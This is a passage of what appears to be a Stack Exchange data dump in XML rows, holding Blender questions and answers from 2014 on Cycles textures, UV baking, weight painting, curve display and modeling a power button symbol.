  <row Id="12373" PostTypeId="1" AcceptedAnswerId="13515" CreationDate="2014-06-20T21:37:54.683" Score="6" ViewCount="558" Body="&lt;p&gt;A good example would be a giant screen in a football stadium. The last rendered frame would be used as texture on the screen for the current frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This texture would be emitting light (as it is a screen), so I really need it as a texture input for an emission shader in cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It differs a bit from that question: &lt;a href=&quot;https://blender.stackexchange.com/questions/2612/is-it-possible-to-use-the-output-of-a-renderlayer-in-the-material-nodes-of-anoth&quot;&gt;Is it possible to use the output of a Renderlayer in the material nodes of another RenderLayer?&lt;/a&gt; as the given solution gives me a pink screen on the ~20 first frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible in Blender and if yes, how?&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2018-02-02T08:27:09.367" Title="Can I use previously rendered frames as texture in Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13374" PostTypeId="2" ParentId="12370" CreationDate="2014-06-21T00:40:04.247" Score="2" Body="&lt;p&gt;There is an error in your node setup:&#xA;Yours:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/41Bt7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Correct:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9hGwD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the normal value gets plugged into the normal option on the shader node, not into the displacement.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-06-21T00:40:04.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13376" PostTypeId="1" CreationDate="2014-06-21T04:28:17.163" Score="5" ViewCount="449" Body="&lt;p&gt;Is there a way to re-arange the listing of shader nodes? It seems like they are listed in a random and inconsistent way, so that finding the shader you need is not very efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples:&#xA;Choosing from the material tab in 2.71 I get this list of shader nodes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S1AvR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the node editor by pressing &lt;Kbd&gt;Shift&lt;/Kbd&gt;&lt;Kbd&gt;A&lt;/Kbd&gt; I get the shader list appearing in this order:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EY5Yw.png&quot; alt=&quot;enter image description here&quot;&gt;'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 2.70 I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jyvvz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It drives me nuts! Is there a way to shuffle the list in alfabetical order or in a more rational way?&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="3127" LastEditDate="2014-06-22T17:06:36.373" LastActivityDate="2014-06-22T17:06:36.373" Title="Cycles Materials: Listing shader nodes in a consistent way" Tags="&lt;interface&gt;&lt;node-editor&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="2" ClosedDate="2014-07-19T07:15:01.733" ContentLicense="CC BY-SA 3.0" />
  <row Id="13379" PostTypeId="2" ParentId="1263" CreationDate="2014-06-21T07:23:18.013" Score="0" Body="&lt;p&gt;Thank you very much for bringing up this issue. I had the same problem where the saved render always display RGBA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to fix it by mainly going to my &lt;em&gt;Node Editor &gt; Properties Toolshelf (N) &gt; Properties&lt;/em&gt; and unchecking &lt;em&gt;Alpha&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4909" LastEditorUserId="1363" LastEditDate="2014-06-21T09:15:55.237" LastActivityDate="2014-06-21T09:15:55.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13380" PostTypeId="1" AcceptedAnswerId="13402" CreationDate="2014-06-21T08:53:10.607" Score="1" ViewCount="333" Body="&lt;p&gt;The left image shows the texture mapped to a plane, the right one is original image in the &lt;em&gt;UV Editor&lt;/em&gt;. The rendered image looks extremely blurred. What would be the correct material and texture settings to have only the alpha part (check pattern right) invisible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/29932&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3UUhG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material and texture settings are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X2e5k.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UcmQg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-06-21T18:45:27.027" LastActivityDate="2014-06-22T10:17:08.507" Title="Why does a multiplied texture with alpha loose detail information?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13381" PostTypeId="1" CreationDate="2014-06-21T12:06:06.240" Score="3" ViewCount="8346" Body="&lt;p&gt;I have years of experience with Zbrush though I am learning blender right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to model characters in Zbrush bring them into Blender for animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know what is the best work flow for it. If you can share any tutorial or link for it, even that will help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not found any book which can let me know about this process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many for zbrush and max/ maya but not blender.&lt;/p&gt;&#xA;" OwnerUserId="4912" LastActivityDate="2016-04-15T19:02:37.620" Title="How to integrate Zbrush with Blender for long run animation projects?" Tags="&lt;workflow&gt;&lt;export&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13383" PostTypeId="1" AcceptedAnswerId="13390" CreationDate="2014-06-21T12:57:36.913" Score="4" ViewCount="5144" Body="&lt;p&gt;I wanted to ask, how you could quickly bake/transfer the texture from overlaying UV islands to individual UV islands?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the &quot;Selected to Active&quot; option in the baking menu was activated while baking the hair texture to the newly unwrapped mesh with a new assigned texture  but that gave out a white result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2M6RI.png&quot; alt=&quot;baking texture from multiple overlaying uv islands to seperate uv islands&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1436" LastActivityDate="2014-06-21T18:46:41.810" Title="how to bake texture from multiple overlayed uv Islands to individual uv islands" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13384" PostTypeId="2" ParentId="13381" CreationDate="2014-06-21T14:40:28.057" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://cgcookie.com/blender/2013/06/03/using-gob-zbrush-applink-blender/&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is a &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/GoB_ZBrush_import_export&quot; rel=&quot;nofollow&quot;&gt;plugin&lt;/a&gt; for blender that allows for a very good degree of integration between z-brush and blender.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-06-21T14:40:28.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13385" PostTypeId="1" AcceptedAnswerId="13403" CreationDate="2014-06-21T15:56:51.417" Score="3" ViewCount="867" Body="&lt;p&gt;Long story short, I've modeled Toothless from How To Train Your Dragon in Blender, and I'm now trying to replicate the effect that the runes/scales it has. I've been using blender for +2 years now but it's always been the modelling side of things and I want to branch out to textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to use the cycles render engine to achieve the following effect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LJMNE.png&quot; alt=&quot;Toothless rune effect&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the stones/scales/runes are raised from the surface in a way bump/normal mapping could not achieve, and that they're more reflective and glossier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But having never done any texture work, I've no idea of a good way of going about it. I've tried various methods, each of which did nothing like what I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, the model is just that, with no runes or anything physically on it. My original plan had been to make three textures; &#xA;        1) for the visual, &#xA;        2) for the displacement - which would then be baked on - and &#xA;        3) which would define the areas to be more reflective etc...&#xA;but now I've actually tried doing it, it seems to be a tad more complex than that (as with most things blender, hehehe). I've tried a google search, but nothing relevant comes up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not asking for someone to outright do this for me because I want to learn it for myself, but any help would be greatly appreciated, be it a guise, a link to a relevent tutorial, or even just a helpful hint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much to anybody who can help me out here!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(As a footnote, I've already done the model and manage to get the materials sorted for the eyes and surrounding area. Once it's finished, I'm putting it in the public domain for anyone to use, and I'll happily say you helped ;) )&lt;/p&gt;&#xA;" OwnerUserId="4913" LastActivityDate="2015-04-20T14:42:21.427" Title="How to replicate this effect (Parts of material more reflective than others)" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;modifiers&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13387" PostTypeId="1" AcceptedAnswerId="13389" CreationDate="2014-06-21T16:49:57.013" Score="6" ViewCount="3620" Body="&lt;p&gt;I recently had an issue with Blender 2.71 RC2, which I submitted as a bug. The issue was that when I hit &lt;kbd&gt;Numpad&lt;/kbd&gt; &lt;kbd&gt;1&lt;/kbd&gt;,&lt;kbd&gt;3&lt;/kbd&gt; or &lt;kbd&gt;7&lt;/kbd&gt; the viewport would not automatically change from perspective  to orthographic  mode, as it used to in Blender 2.70.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now want it to behave like this in blender 2.71 RC2, but I can't find the &lt;strong&gt;Auto Perspective&lt;/strong&gt; check box in the user preferences. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is it?&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-06-21T20:28:05.473" LastActivityDate="2019-10-08T20:01:17.447" Title="How do I switch Auto Perspective on?" Tags="&lt;3d-view&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13388" PostTypeId="2" ParentId="13385" CreationDate="2014-06-21T16:51:22.933" Score="1" Body="&lt;p&gt;Here is how you can create you desired effect:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XLrMG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XLrMG.png&quot; alt=&quot;nodes&quot;&gt;&lt;/a&gt;&#xA;The set up uses two textures, one for the displacement and the other to control reflectivity.&#xA;Notes&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use an image texture instead of the noise texture.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can add a color ramp between the texture and the mix shader node&#xA;to add more control to the effect.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how you can add a uv map to the texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TVUMD.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Make sure that you get the name of the uv map perfect, otherwise it will not work.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="2217" LastEditDate="2014-06-22T01:18:03.217" LastActivityDate="2014-06-22T01:18:03.217" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13389" PostTypeId="2" ParentId="13387" CreationDate="2014-06-21T17:08:22.917" Score="10" Body="&lt;p&gt;It is in the &lt;em&gt;Interface&lt;/em&gt;&gt; &lt;em&gt;View Manipulation&lt;/em&gt; section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dKpla.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-06-21T17:08:22.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13390" PostTypeId="2" ParentId="13383" CreationDate="2014-06-21T18:19:58.060" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a second UV map on your object in &lt;em&gt;Properties &amp;gt; Object Data&lt;/em&gt; and unwrap it so it has individual islands (or however you want)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rKMh6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Blender Internal&lt;/h1&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Add your existing texture to the object and select the appropriate UV map in &lt;em&gt;Properties &amp;gt; Textures &amp;gt; Mapping &amp;gt; Map&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k0mlw.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new image in the UV/Image editor by pressing &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; or &lt;em&gt;Header &amp;gt; Image &amp;gt; New&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the new UV map in &lt;em&gt;Properties &amp;gt; Object Data&lt;/em&gt; and then select the new image in the image editor, so that the individual islands UV map is displayed over the new image.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UpAiO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;em&gt;Bake&lt;/em&gt; in &lt;em&gt;Properties &amp;gt; Render &amp;gt; Bake&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vEgsm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&lt;p&gt;To do the same in cycles, you can use attribute nodes:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add two attribute nodes and enter the names of your UV maps. You can now use the &lt;em&gt;Vector&lt;/em&gt; output of these as those UV coordinates.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new image in the image editor and add it to the node setup with a texture node. Plug the mapping you want into that texture node and select it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eHafU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With that texture node selected, press Bake in &lt;em&gt;Render settings &amp;gt; Bake&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-06-21T18:46:41.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13392" PostTypeId="1" CreationDate="2014-06-21T20:57:15.523" Score="2" ViewCount="774" Body="&lt;p&gt;I am new to blender and am currently trying to rig and animate a model of a simple cartoon duck. After creating an armature and assigning it to the model however, I found the automatic weights given were inappropriate, so decided to attempt to fix them using weight painting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once of the changes in particular that I wanted to make was to have the flat foot of the duck be fully affected by the foot bone. My problem is this: when trying to paint the foot all red, I get these strange blue streaks appearing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NDgZ1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried painting over them with mixture/add brushes, with and without &quot;limit selection to visible&quot; checked, but it does not seem to make a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I painting the weights incorrectly? Is it something to do with the way I have set up my armature or mesh? How can I solve this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Vertex view of foot&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cTVLQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wireframe view of foot&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fjtQf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4915" LastActivityDate="2015-04-05T16:45:43.877" Title="Unpaintable streaks in Weight Paint Mode" Tags="&lt;rigging&gt;&lt;weight-painting&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13393" PostTypeId="1" AcceptedAnswerId="13394" CreationDate="2014-06-21T21:00:31.160" Score="9" ViewCount="1261" Body="&lt;p&gt;In this example I use Nurbs curves to create shoe laces and it becomes quite hard to operate curves in the regions of loops and knots because of the curves' tilt/scale guides (not sure how to call them). I would really like to hide these guides when I edit curves. Is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sq57x.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2019-09-29T18:30:34.380" Title="Is it possible to hide curves' guides in edit mode?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13394" PostTypeId="2" ParentId="13393" CreationDate="2014-06-21T21:10:07.840" Score="8" Body="&lt;p&gt;Those black lines are the normals for the curve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.79:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the way they are displayed in the &quot;Curve Display&quot; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uQfMT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.80&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sNl4v.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sNl4v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make them smaller change the &lt;strong&gt;normal size&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make them disappear uncheck the &lt;strong&gt;normals box&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="81740" LastEditDate="2019-09-29T18:30:34.380" LastActivityDate="2019-09-29T18:30:34.380" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13395" PostTypeId="2" ParentId="13392" CreationDate="2014-06-21T21:46:40.340" Score="2" Body="&lt;p&gt;Those streaks are normal. They are caused by the way the paint display works. You are acutally painting on the vertices, not the faces. as a result, you will see unwanted blue areas on some of the surrounding faces. &lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-06-21T21:46:40.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13396" PostTypeId="1" CreationDate="2014-06-22T00:11:03.003" Score="3" ViewCount="6655" Body="&lt;p&gt;I have a parent with a lot of children. I want to use an array modifier on the whole lot of them, including the parent, but, when I add an array modifier to the parent, only it gets duplicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One sort-of-solution I found is to Duplicate Link the parent along with its children, but this requires fiddly manual positioning that I'd like to avoid, and I also think this would make it difficult to add a child. The other solution I found is to add an array modifier to the parent and every single child; although this method does what I want in theory, it's still a lot of clicking.&lt;/p&gt;&#xA;" OwnerUserId="1253" LastActivityDate="2014-10-20T02:26:57.297" Title="Array modifier on parent and all of its children" Tags="&lt;workflow&gt;&lt;objects&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13397" PostTypeId="2" ParentId="13396" CreationDate="2014-06-22T00:19:05.543" Score="2" Body="&lt;p&gt;Create your parent object, then create one child. copy the array from the parent to the child &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;L&lt;/kbd&gt;. next take the child and add drivers to all of the parameters in the array modifier that you want to auto update. now copy the drivers and array modifiers onto all  of the other children. Done!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using drivers is tricky, Here are some tutorials:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=o4qYHNA_x4Q&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=o4qYHNA_x4Q&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=ajMAvKRCTBg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=ajMAvKRCTBg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/3312/how-to-copy-drivers-to-multiple-objects&quot;&gt;How to copy drivers onto multiple objects&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-06-22T00:39:34.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13400" PostTypeId="1" CreationDate="2014-06-22T02:36:49.470" Score="2" ViewCount="223" Body="&lt;p&gt;I'm having trouble making a 3d power button symbol. I want it to look similar to &lt;a href=&quot;http://3dicon-free.com/highresolution/l_092.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; one. &lt;a href=&quot;https://mega.co.nz/#!N1pwET4Z!iP2pzrHoA6JsqudLKbpRH509y6zHC5Zgp0duyM8gSfc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; is the .blend file I'm working with, if this helps anyone understand what I'm trying to do.&lt;br&gt;&#xA;Using the cuboid that's over the letter 'o', I can cut out the portion of the letter 'o' that the cuboid occupies, however, the remaining ends of the letter 'o' are left open.&lt;br&gt;&#xA;I can't find a way to fill the ends, and preferably round the ends. If anyone can show me how to do this, that would be a great help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VXm5m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4916" LastActivityDate="2014-06-22T14:56:36.533" Title="Can't get power button symbol right. Need help cutting letter 'O' and filling gaps" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13401" PostTypeId="2" ParentId="13400" CreationDate="2014-06-22T03:11:05.370" Score="9" Body="&lt;p&gt;Here is how you can create a power button:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a circle.&lt;/li&gt;&#xA;&lt;li&gt;Enter edit mode.&lt;/li&gt;&#xA;&lt;li&gt;Selected it(&lt;kbd&gt;A&lt;/kbd&gt;) and extrude + scale it inwards.&lt;/li&gt;&#xA;&lt;li&gt;Delete(&lt;kbd&gt;X&lt;/kbd&gt;-&gt;Faces) some of the at the top of the circle as such:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HmKxc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add a plane into the scene.&lt;/li&gt;&#xA;&lt;li&gt;scale the plane so that it takes the shape of the line:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uD1gl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select All(&lt;kbd&gt;A&lt;/kbd&gt;), and extrude it upwards until your power button is as thick as you want it.&lt;/li&gt;&#xA;&lt;li&gt;To add rounded edges: select the line, as well as the faces on the inside of the cut. also select the rings(&lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;) that make up the edges of the '0'.&lt;/li&gt;&#xA;&lt;li&gt;With all those vertices selected hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;B&lt;/kbd&gt;. Use the scroll wheel to control the amount of cuts(I'd recommend 4).&lt;/li&gt;&#xA;&lt;li&gt;Select all and hit &lt;kbd&gt;W&lt;/kbd&gt;-&gt;Shade Smooth.&lt;/li&gt;&#xA;&lt;li&gt;Rotate it on the Y axis to 90 degrees (&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;90&lt;/kbd&gt;) .&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Done!&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-06-22T14:56:36.533" LastActivityDate="2014-06-22T14:56:36.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13402" PostTypeId="2" ParentId="13380" CreationDate="2014-06-22T10:06:28.643" Score="2" Body="&lt;p&gt;Setting the &lt;em&gt;Blend Mode&lt;/em&gt; to multiply isn't necessary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material Settings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Specular&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Intensity: 0.0 &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;removes this: &lt;img src=&quot;https://i.stack.imgur.com/0FHGF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Transparency: On &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Method: Z Transparency&lt;/li&gt;&#xA;&lt;li&gt;Alpha Slider 0.0&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Texture Settings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Type: Image or Movie&lt;/li&gt;&#xA;&lt;li&gt;Image: The Texture Image&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Alpha: On (Otherwise darker parts of the image which are supposed to be opaque will be partially transparent)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Image Sampling&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alpha: Use : On (Otherwise darker parts of the image which are supposed to be opaque will be partially transparent)                   &lt;img src=&quot;https://i.stack.imgur.com/tt4Pu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mapping&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Coordinates: UV&lt;/li&gt;&#xA;&lt;li&gt;Map: UVMap&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Influence&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Color: On (1.0)&lt;/li&gt;&#xA;&lt;li&gt;Alpha: On (1.0)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blend: Mix 